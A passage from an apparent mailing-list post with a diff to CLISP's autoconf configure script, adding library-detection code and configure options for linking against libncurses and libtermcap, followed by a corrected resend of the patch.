+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+                    if test "X$x" = "X-I$additional_includedir"; then
+                      haveit=yes
+                      break
+                    fi
+                  done
+                  if test -z "$haveit"; then
+                    if test -d "$additional_includedir"; then
+                                            INCNCURSES="${INCNCURSES}${INCNCURSES:+ }-I$additional_includedir"
+                    fi
+                  fi
+                fi
+              fi
+            fi
+                        if test -n "$found_la"; then
+                                                        save_libdir="$libdir"
+              case "$found_la" in
+                */* | *\\*) . "$found_la" ;;
+                *) . "./$found_la" ;;
+              esac
+              libdir="$save_libdir"
+                            for dep in $dependency_libs; do
+                case "$dep" in
+                  -L*)
+                    additional_libdir=`echo "X$dep" | sed -e 's/^X-L//'`
+                                                                                                                                                                if test "X$additional_libdir" != "X/usr/lib"; then
+                      haveit=
+                      if test "X$additional_libdir" = "X/usr/local/lib"; then
+                        if test -n "$GCC"; then
+                          case $host_os in
+                            linux* | gnu* | k*bsd*-gnu) haveit=yes;;
+                          esac
+                        fi
+                      fi
+                      if test -z "$haveit"; then
+                        haveit=
+                        for x in $LDFLAGS $LIBNCURSES; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+                          if test "X$x" = "X-L$additional_libdir"; then
+                            haveit=yes
+                            break
+                          fi
+                        done
+                        if test -z "$haveit"; then
+                          if test -d "$additional_libdir"; then
+                                                        LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-L$additional_libdir"
+                          fi
+                        fi
+                        haveit=
+                        for x in $LDFLAGS $LTLIBNCURSES; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+                          if test "X$x" = "X-L$additional_libdir"; then
+                            haveit=yes
+                            break
+                          fi
+                        done
+                        if test -z "$haveit"; then
+                          if test -d "$additional_libdir"; then
+                                                        LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }-L$additional_libdir"
+                          fi
+                        fi
+                      fi
+                    fi
+                    ;;
+                  -R*)
+                    dir=`echo "X$dep" | sed -e 's/^X-R//'`
+                    if test "$enable_rpath" != no; then
+                                                                  haveit=
+                      for x in $rpathdirs; do
+                        if test "X$x" = "X$dir"; then
+                          haveit=yes
+                          break
+                        fi
+                      done
+                      if test -z "$haveit"; then
+                        rpathdirs="$rpathdirs $dir"
+                      fi
+                                                                  haveit=
+                      for x in $ltrpathdirs; do
+                        if test "X$x" = "X$dir"; then
+                          haveit=yes
+                          break
+                        fi
+                      done
+                      if test -z "$haveit"; then
+                        ltrpathdirs="$ltrpathdirs $dir"
+                      fi
+                    fi
+                    ;;
+                  -l*)
+                                        names_next_round="$names_next_round "`echo "X$dep" | sed -e 's/^X-l//'`
+                    ;;
+                  *.la)
+                                                                                names_next_round="$names_next_round "`echo "X$dep" | sed -e 's,^X.*/,,' -e 's,^lib,,' -e 's,\.la$,,'`
+                    ;;
+                  *)
+                                        LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$dep"
+                    LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }$dep"
+                    ;;
+                esac
+              done
+            fi
+          else
+                                                            LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-l$name"
+            LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }-l$name"
+          fi
+        fi
+      fi
+    done
+  done
+  if test "X$rpathdirs" != "X"; then
+    if test -n "$hardcode_libdir_separator"; then
+                        alldirs=
+      for found_dir in $rpathdirs; do
+        alldirs="${alldirs}${alldirs:+$hardcode_libdir_separator}$found_dir"
+      done
+            acl_save_libdir="$libdir"
+      libdir="$alldirs"
+      eval flag=\"$hardcode_libdir_flag_spec\"
+      libdir="$acl_save_libdir"
+      LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$flag"
+    else
+            for found_dir in $rpathdirs; do
+        acl_save_libdir="$libdir"
+        libdir="$found_dir"
+        eval flag=\"$hardcode_libdir_flag_spec\"
+        libdir="$acl_save_libdir"
+        LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$flag"
+      done
+    fi
+  fi
+  if test "X$ltrpathdirs" != "X"; then
+            for found_dir in $ltrpathdirs; do
+      LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }-R$found_dir"
+    done
+  fi
+
+    ac_cv_libncurses_libs="$LIBNCURSES"
+    ac_cv_libncurses_ltlibs="$LTLIBNCURSES"
+    ac_cv_libncurses_cppflags="$INCNCURSES"
+
+fi
+echo "$as_me:$LINENO: result: $ac_cv_libncurses_libs" >&5
+echo "${ECHO_T}$ac_cv_libncurses_libs" >&6
+  LIBNCURSES="$ac_cv_libncurses_libs"
+  LTLIBNCURSES="$ac_cv_libncurses_ltlibs"
+  INCNCURSES="$ac_cv_libncurses_cppflags"
+
+  for element in $INCNCURSES; do
+    haveit=
+    for x in $CPPFLAGS; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+      if test "X$x" = "X$element"; then
+        haveit=yes
+        break
+      fi
+    done
+    if test -z "$haveit"; then
+      CPPFLAGS="${CPPFLAGS}${CPPFLAGS:+ }$element"
+    fi
+  done
+
+
+
+      HAVE_LIBNCURSES=yes
+
+
+
+
+
+
+
+
+  echo "$as_me:$LINENO: checking how to link with libtermcap" >&5
+echo $ECHO_N "checking how to link with libtermcap... $ECHO_C" >&6
+if test "${ac_cv_libtermcap_libs+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+
+
+
+    use_additional=yes
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+
+    eval additional_includedir=\"$includedir\"
+    eval additional_libdir=\"$libdir\"
+
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+
+# Check whether --with-libtermcap-prefix or --without-libtermcap-prefix was given.
+if test "${with_libtermcap_prefix+set}" = set; then
+  withval="$with_libtermcap_prefix"
+
+    if test "X$withval" = "Xno"; then
+      use_additional=no
+    else
+      if test "X$withval" = "X"; then
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+
+          eval additional_includedir=\"$includedir\"
+          eval additional_libdir=\"$libdir\"
+
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+      else
+        additional_includedir="$withval/include"
+        additional_libdir="$withval/lib"
+      fi
+    fi
+
+fi;
+      LIBTERMCAP=
+  LTLIBTERMCAP=
+  INCTERMCAP=
+  rpathdirs=
+  ltrpathdirs=
+  names_already_handled=
+  names_next_round='termcap '
+  while test -n "$names_next_round"; do
+    names_this_round="$names_next_round"
+    names_next_round=
+    for name in $names_this_round; do
+      already_handled=
+      for n in $names_already_handled; do
+        if test "$n" = "$name"; then
+          already_handled=yes
+          break
+        fi
+      done
+      if test -z "$already_handled"; then
+        names_already_handled="$names_already_handled $name"
+                        uppername=`echo "$name" | sed -e 'y|abcdefghijklmnopqrstuvwxyz./-|ABCDEFGHIJKLMNOPQRSTUVWXYZ___|'`
+        eval value=\"\$HAVE_LIB$uppername\"
+        if test -n "$value"; then
+          if test "$value" = yes; then
+            eval value=\"\$LIB$uppername\"
+            test -z "$value" || LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$value"
+            eval value=\"\$LTLIB$uppername\"
+            test -z "$value" || LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }$value"
+          else
+                                    :
+          fi
+        else
+                              found_dir=
+          found_la=
+          found_so=
+          found_a=
+          if test $use_additional = yes; then
+            if test -n "$shlibext" && test -f "$additional_libdir/lib$name.$shlibext"; then
+              found_dir="$additional_libdir"
+              found_so="$additional_libdir/lib$name.$shlibext"
+              if test -f "$additional_libdir/lib$name.la"; then
+                found_la="$additional_libdir/lib$name.la"
+              fi
+            else
+              if test -f "$additional_libdir/lib$name.$libext"; then
+                found_dir="$additional_libdir"
+                found_a="$additional_libdir/lib$name.$libext"
+                if test -f "$additional_libdir/lib$name.la"; then
+                  found_la="$additional_libdir/lib$name.la"
+                fi
+              fi
+            fi
+          fi
+          if test "X$found_dir" = "X"; then
+            for x in $LDFLAGS $LTLIBTERMCAP; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+              case "$x" in
+                -L*)
+                  dir=`echo "X$x" | sed -e 's/^X-L//'`
+                  if test -n "$shlibext" && test -f "$dir/lib$name.$shlibext"; then
+                    found_dir="$dir"
+                    found_so="$dir/lib$name.$shlibext"
+                    if test -f "$dir/lib$name.la"; then
+                      found_la="$dir/lib$name.la"
+                    fi
+                  else
+                    if test -f "$dir/lib$name.$libext"; then
+                      found_dir="$dir"
+                      found_a="$dir/lib$name.$libext"
+                      if test -f "$dir/lib$name.la"; then
+                        found_la="$dir/lib$name.la"
+                      fi
+                    fi
+                  fi
+                  ;;
+              esac
+              if test "X$found_dir" != "X"; then
+                break
+              fi
+            done
+          fi
+          if test "X$found_dir" != "X"; then
+                        LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }-L$found_dir -l$name"
+            if test "X$found_so" != "X"; then
+                                                        if test "$enable_rpath" = no || test "X$found_dir" = "X/usr/lib"; then
+                                LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_so"
+              else
+                                                                                haveit=
+                for x in $ltrpathdirs; do
+                  if test "X$x" = "X$found_dir"; then
+                    haveit=yes
+                    break
+                  fi
+                done
+                if test -z "$haveit"; then
+                  ltrpathdirs="$ltrpathdirs $found_dir"
+                fi
+                                if test "$hardcode_direct" = yes; then
+                                                      LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_so"
+                else
+                  if test -n "$hardcode_libdir_flag_spec" && test "$hardcode_minus_L" = no; then
+                                                            LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_so"
+                                                            haveit=
+                    for x in $rpathdirs; do
+                      if test "X$x" = "X$found_dir"; then
+                        haveit=yes
+                        break
+                      fi
+                    done
+                    if test -z "$haveit"; then
+                      rpathdirs="$rpathdirs $found_dir"
+                    fi
+                  else
+                                                                                haveit=
+                    for x in $LDFLAGS $LIBTERMCAP; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+                      if test "X$x" = "X-L$found_dir"; then
+                        haveit=yes
+                        break
+                      fi
+                    done
+                    if test -z "$haveit"; then
+                      LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-L$found_dir"
+                    fi
+                    if test "$hardcode_minus_L" != no; then
+                                                                                        LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_so"
+                    else
+                                                                                                                                                                                LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-l$name"
+                    fi
+                  fi
+                fi
+              fi
+            else
+              if test "X$found_a" != "X"; then
+                                LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$found_a"
+              else
+                                                LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-L$found_dir -l$name"
+              fi
+            fi
+                        additional_includedir=
+            case "$found_dir" in
+              */lib | */lib/)
+                basedir=`echo "X$found_dir" | sed -e 's,^X,,' -e 's,/lib/*$,,'`
+                additional_includedir="$basedir/include"
+                ;;
+            esac
+            if test "X$additional_includedir" != "X"; then
+                                                                                                                if test "X$additional_includedir" != "X/usr/include"; then
+                haveit=
+                if test "X$additional_includedir" = "X/usr/local/include"; then
+                  if test -n "$GCC"; then
+                    case $host_os in
+                      linux* | gnu* | k*bsd*-gnu) haveit=yes;;
+                    esac
+                  fi
+                fi
+                if test -z "$haveit"; then
+                  for x in $CPPFLAGS $INCTERMCAP; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+                    if test "X$x" = "X-I$additional_includedir"; then
+                      haveit=yes
+                      break
+                    fi
+                  done
+                  if test -z "$haveit"; then
+                    if test -d "$additional_includedir"; then
+                                            INCTERMCAP="${INCTERMCAP}${INCTERMCAP:+ }-I$additional_includedir"
+                    fi
+                  fi
+                fi
+              fi
+            fi
+                        if test -n "$found_la"; then
+                                                        save_libdir="$libdir"
+              case "$found_la" in
+                */* | *\\*) . "$found_la" ;;
+                *) . "./$found_la" ;;
+              esac
+              libdir="$save_libdir"
+                            for dep in $dependency_libs; do
+                case "$dep" in
+                  -L*)
+                    additional_libdir=`echo "X$dep" | sed -e 's/^X-L//'`
+                                                                                                                                                                if test "X$additional_libdir" != "X/usr/lib"; then
+                      haveit=
+                      if test "X$additional_libdir" = "X/usr/local/lib"; then
+                        if test -n "$GCC"; then
+                          case $host_os in
+                            linux* | gnu* | k*bsd*-gnu) haveit=yes;;
+                          esac
+                        fi
+                      fi
+                      if test -z "$haveit"; then
+                        haveit=
+                        for x in $LDFLAGS $LIBTERMCAP; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+                          if test "X$x" = "X-L$additional_libdir"; then
+                            haveit=yes
+                            break
+                          fi
+                        done
+                        if test -z "$haveit"; then
+                          if test -d "$additional_libdir"; then
+                                                        LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-L$additional_libdir"
+                          fi
+                        fi
+                        haveit=
+                        for x in $LDFLAGS $LTLIBTERMCAP; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+                          if test "X$x" = "X-L$additional_libdir"; then
+                            haveit=yes
+                            break
+                          fi
+                        done
+                        if test -z "$haveit"; then
+                          if test -d "$additional_libdir"; then
+                                                        LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }-L$additional_libdir"
+                          fi
+                        fi
+                      fi
+                    fi
+                    ;;
+                  -R*)
+                    dir=`echo "X$dep" | sed -e 's/^X-R//'`
+                    if test "$enable_rpath" != no; then
+                                                                  haveit=
+                      for x in $rpathdirs; do
+                        if test "X$x" = "X$dir"; then
+                          haveit=yes
+                          break
+                        fi
+                      done
+                      if test -z "$haveit"; then
+                        rpathdirs="$rpathdirs $dir"
+                      fi
+                                                                  haveit=
+                      for x in $ltrpathdirs; do
+                        if test "X$x" = "X$dir"; then
+                          haveit=yes
+                          break
+                        fi
+                      done
+                      if test -z "$haveit"; then
+                        ltrpathdirs="$ltrpathdirs $dir"
+                      fi
+                    fi
+                    ;;
+                  -l*)
+                                        names_next_round="$names_next_round "`echo "X$dep" | sed -e 's/^X-l//'`
+                    ;;
+                  *.la)
+                                                                                names_next_round="$names_next_round "`echo "X$dep" | sed -e 's,^X.*/,,' -e 's,^lib,,' -e 's,\.la$,,'`
+                    ;;
+                  *)
+                                        LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$dep"
+                    LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }$dep"
+                    ;;
+                esac
+              done
+            fi
+          else
+                                                            LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }-l$name"
+            LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }-l$name"
+          fi
+        fi
+      fi
+    done
+  done
+  if test "X$rpathdirs" != "X"; then
+    if test -n "$hardcode_libdir_separator"; then
+                        alldirs=
+      for found_dir in $rpathdirs; do
+        alldirs="${alldirs}${alldirs:+$hardcode_libdir_separator}$found_dir"
+      done
+            acl_save_libdir="$libdir"
+      libdir="$alldirs"
+      eval flag=\"$hardcode_libdir_flag_spec\"
+      libdir="$acl_save_libdir"
+      LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$flag"
+    else
+            for found_dir in $rpathdirs; do
+        acl_save_libdir="$libdir"
+        libdir="$found_dir"
+        eval flag=\"$hardcode_libdir_flag_spec\"
+        libdir="$acl_save_libdir"
+        LIBTERMCAP="${LIBTERMCAP}${LIBTERMCAP:+ }$flag"
+      done
+    fi
+  fi
+  if test "X$ltrpathdirs" != "X"; then
+            for found_dir in $ltrpathdirs; do
+      LTLIBTERMCAP="${LTLIBTERMCAP}${LTLIBTERMCAP:+ }-R$found_dir"
+    done
+  fi
+
+    ac_cv_libtermcap_libs="$LIBTERMCAP"
+    ac_cv_libtermcap_ltlibs="$LTLIBTERMCAP"
+    ac_cv_libtermcap_cppflags="$INCTERMCAP"
+
+fi
+echo "$as_me:$LINENO: result: $ac_cv_libtermcap_libs" >&5
+echo "${ECHO_T}$ac_cv_libtermcap_libs" >&6
+  LIBTERMCAP="$ac_cv_libtermcap_libs"
+  LTLIBTERMCAP="$ac_cv_libtermcap_ltlibs"
+  INCTERMCAP="$ac_cv_libtermcap_cppflags"
+
+  for element in $INCTERMCAP; do
+    haveit=
+    for x in $CPPFLAGS; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+      if test "X$x" = "X$element"; then
+        haveit=yes
+        break
+      fi
+    done
+    if test -z "$haveit"; then
+      CPPFLAGS="${CPPFLAGS}${CPPFLAGS:+ }$element"
+    fi
+  done
+
+
+
+      HAVE_LIBTERMCAP=yes
+
+
+
 LIBTERMCAP="broken"
 echo "$as_me:$LINENO: checking for library containing tgetent" >&5
 echo $ECHO_N "checking for library containing tgetent... $ECHO_C" >&6
@@ -35223,7 +36108,10 @@
 s,@X_LIBS@,$X_LIBS,;t t
 s,@GMALLOC@,$GMALLOC,;t t
 s,@ALLOCA@,$ALLOCA,;t t
+s,@LIBNCURSES@,$LIBNCURSES,;t t
+s,@LTLIBNCURSES@,$LTLIBNCURSES,;t t
 s,@LIBTERMCAP@,$LIBTERMCAP,;t t
+s,@LTLIBTERMCAP@,$LTLIBTERMCAP,;t t
 s,@PACKAGE@,$PACKAGE,;t t
 s,@LIBOBJS@,$LIBOBJS,;t t
 s,@LTLIBOBJS@,$LTLIBOBJS,;t t


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oops  -  here is the correct patch.
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 Index: configure
===================================================================
RCS file: /cvsroot/clisp/clisp/src/configure,v
retrieving revision 1.135
diff -u -w -u -b -w -i -B -r1.135 configure
--- configure	6 Oct 2005 02:10:27 -0000	1.135
+++ configure	7 Oct 2005 15:23:51 -0000
@@ -315,7 +315,7 @@
 # include <unistd.h>
 #endif"
 
-ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT CPP EGREP RANLIB INSTALL INSTALL_PROGRAM INSTALL_DATA CP LN LN_S HLN GROFF DVIPDF COMPRESS CC_GCC GCC_X_NONE CC_CPLUSPLUS CC_NEED_CCPAUX CC_NEED_DEEMA AS_UNDERSCORE build build_cpu build_vendor build_os host host_cpu host_vendor host_os LIBICONV LTLIBICONV SET_MAKE INSTALL_SCRIPT MKINSTALLDIRS USE_NLS MSGFMT GMSGFMT XGETTEXT MSGMERGE INTL_MACOSX_LIBS INTLLIBS LIBINTL LTLIBINTL POSUB LIBSIGSEGV LTLIBSIGSEGV HAVE__BOOL STDBOOL_H HAVE_LONG_64BIT HAVE_LONG_LONG_64BIT STDINT_H HAVE_XMKMF X_INCLUDES X_LIBS GMALLOC ALLOCA LIBTERMCAP PACKAGE LIBOBJS LTLIBOBJS'
+ac_subst_vars='SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PACKAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix program_transform_name bindir sbindir libexecdir datadir sysconfdir sharedstatedir localstatedir libdir includedir oldincludedir infodir mandir build_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT CPP EGREP RANLIB INSTALL INSTALL_PROGRAM INSTALL_DATA CP LN LN_S HLN GROFF DVIPDF COMPRESS CC_GCC GCC_X_NONE CC_CPLUSPLUS CC_NEED_CCPAUX CC_NEED_DEEMA AS_UNDERSCORE build build_cpu build_vendor build_os host host_cpu host_vendor host_os LIBICONV LTLIBICONV SET_MAKE INSTALL_SCRIPT MKINSTALLDIRS USE_NLS MSGFMT GMSGFMT XGETTEXT MSGMERGE INTL_MACOSX_LIBS INTLLIBS LIBINTL LTLIBINTL POSUB LIBSIGSEGV LTLIBSIGSEGV HAVE__BOOL STDBOOL_H HAVE_LONG_64BIT HAVE_LONG_LONG_64BIT STDINT_H HAVE_XMKMF X_INCLUDES X_LIBS GMALLOC ALLOCA LIBNCURSES LTLIBNCURSES LIBTERMCAP LTLIBTERMCAP PACKAGE LIBOBJS LTLIBOBJS'
 ac_subst_files=''
 
 # Initialize some variables set by options.
@@ -871,6 +871,10 @@
   --with-libsigsegv-prefix[=DIR]  search for libsigsegv in DIR/include and DIR/lib
   --without-libsigsegv-prefix     don't search for libsigsegv in includedir and libdir
   --with-x                use the X Window System
+  --with-libncurses-prefix[=DIR]  search for libncurses in DIR/include and DIR/lib
+  --without-libncurses-prefix     don't search for libncurses in includedir and libdir
+  --with-libtermcap-prefix[=DIR]  search for libtermcap in DIR/include and DIR/lib
+  --without-libtermcap-prefix     don't search for libtermcap in includedir and libdir
   --with-readline         use readline (default is YES, if present)
   --with-libreadline-prefix[=DIR]  search for libreadline in DIR/include and DIR/lib
   --without-libreadline-prefix     don't search for libreadline in includedir and libdir
@@ -24707,6 +24711,862 @@
 { echo "$as_me:$LINENO: * checks for libraries" >&5
 echo "$as_me: * checks for libraries" >&6;}
 
+
+
+
+
+
+  echo "$as_me:$LINENO: checking how to link with libncurses" >&5
+echo $ECHO_N "checking how to link with libncurses... $ECHO_C" >&6
+if test "${ac_cv_libncurses_libs+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+
+
+
+    use_additional=yes
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+
+    eval additional_includedir=\"$includedir\"
+    eval additional_libdir=\"$libdir\"
+
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+
+# Check whether --with-libncurses-prefix or --without-libncurses-prefix was given.
+if test "${with_libncurses_prefix+set}" = set; then
+  withval="$with_libncurses_prefix"
+
+    if test "X$withval" = "Xno"; then
+      use_additional=no
+    else
+      if test "X$withval" = "X"; then
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+
+          eval additional_includedir=\"$includedir\"
+          eval additional_libdir=\"$libdir\"
+
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+      else
+        additional_includedir="$withval/include"
+        additional_libdir="$withval/lib"
+      fi
+    fi
+
+fi;
+      LIBNCURSES=
+  LTLIBNCURSES=
+  INCNCURSES=
+  rpathdirs=
+  ltrpathdirs=
+  names_already_handled=
+  names_next_round='ncurses '
+  while test -n "$names_next_round"; do
+    names_this_round="$names_next_round"
+    names_next_round=
+    for name in $names_this_round; do
+      already_handled=
+      for n in $names_already_handled; do
+        if test "$n" = "$name"; then
+          already_handled=yes
+          break
+        fi
+      done
+      if test -z "$already_handled"; then
+        names_already_handled="$names_already_handled $name"
+                        uppername=`echo "$name" | sed -e 'y|abcdefghijklmnopqrstuvwxyz./-|ABCDEFGHIJKLMNOPQRSTUVWXYZ___|'`
+        eval value=\"\$HAVE_LIB$uppername\"
+        if test -n "$value"; then
+          if test "$value" = yes; then
+            eval value=\"\$LIB$uppername\"
+            test -z "$value" || LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$value"
+            eval value=\"\$LTLIB$uppername\"
+            test -z "$value" || LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }$value"
+          else
+                                    :
+          fi
+        else
+                              found_dir=
+          found_la=
+          found_so=
+          found_a=
+          if test $use_additional = yes; then
+            if test -n "$shlibext" && test -f "$additional_libdir/lib$name.$shlibext"; then
+              found_dir="$additional_libdir"
+              found_so="$additional_libdir/lib$name.$shlibext"
+              if test -f "$additional_libdir/lib$name.la"; then
+                found_la="$additional_libdir/lib$name.la"
+              fi
+            else
+              if test -f "$additional_libdir/lib$name.$libext"; then
+                found_dir="$additional_libdir"
+                found_a="$additional_libdir/lib$name.$libext"
+                if test -f "$additional_libdir/lib$name.la"; then
+                  found_la="$additional_libdir/lib$name.la"
+                fi
+              fi
+            fi
+          fi
+          if test "X$found_dir" = "X"; then
+            for x in $LDFLAGS $LTLIBNCURSES; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+              case "$x" in
+                -L*)
+                  dir=`echo "X$x" | sed -e 's/^X-L//'`
+                  if test -n "$shlibext" && test -f "$dir/lib$name.$shlibext"; then
+                    found_dir="$dir"
+                    found_so="$dir/lib$name.$shlibext"
+                    if test -f "$dir/lib$name.la"; then
+                      found_la="$dir/lib$name.la"
+                    fi
+                  else
+                    if test -f "$dir/lib$name.$libext"; then
+                      found_dir="$dir"
+                      found_a="$dir/lib$name.$libext"
+                      if test -f "$dir/lib$name.la"; then
+                        found_la="$dir/lib$name.la"
+                      fi
+                    fi
+                  fi
+                  ;;
+              esac
+              if test "X$found_dir" != "X"; then
+                break
+              fi
+            done
+          fi
+          if test "X$found_dir" != "X"; then
+                        LTLIBNCURSES="${LTLIBNCURSES}${LTLIBNCURSES:+ }-L$found_dir -l$name"
+            if test "X$found_so" != "X"; then
+                                                        if test "$enable_rpath" = no || test "X$found_dir" = "X/usr/lib"; then
+                                LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_so"
+              else
+                                                                                haveit=
+                for x in $ltrpathdirs; do
+                  if test "X$x" = "X$found_dir"; then
+                    haveit=yes
+                    break
+                  fi
+                done
+                if test -z "$haveit"; then
+                  ltrpathdirs="$ltrpathdirs $found_dir"
+                fi
+                                if test "$hardcode_direct" = yes; then
+                                                      LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_so"
+                else
+                  if test -n "$hardcode_libdir_flag_spec" && test "$hardcode_minus_L" = no; then
+                                                            LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_so"
+                                                            haveit=
+                    for x in $rpathdirs; do
+                      if test "X$x" = "X$found_dir"; then
+                        haveit=yes
+                        break
+                      fi
+                    done
+                    if test -z "$haveit"; then
+                      rpathdirs="$rpathdirs $found_dir"
+                    fi
+                  else
+                                                                                haveit=
+                    for x in $LDFLAGS $LIBNCURSES; do
+
+  acl_save_prefix="$prefix"
+  prefix="$acl_final_prefix"
+  acl_save_exec_prefix="$exec_prefix"
+  exec_prefix="$acl_final_exec_prefix"
+  eval x=\"$x\"
+  exec_prefix="$acl_save_exec_prefix"
+  prefix="$acl_save_prefix"
+
+                      if test "X$x" = "X-L$found_dir"; then
+                        haveit=yes
+                        break
+                      fi
+                    done
+                    if test -z "$haveit"; then
+                      LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-L$found_dir"
+                    fi
+                    if test "$hardcode_minus_L" != no; then
+                                                                                        LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }$found_so"
+                    else
+                                                                                                                                                                                LIBNCURSES="${LIBNCURSES}${LIBNCURSES:+ }-l$name"
+                    fi
+                  fi
+                fi
+              fi
+            else
+              if test "X$found_a" != "X"; then
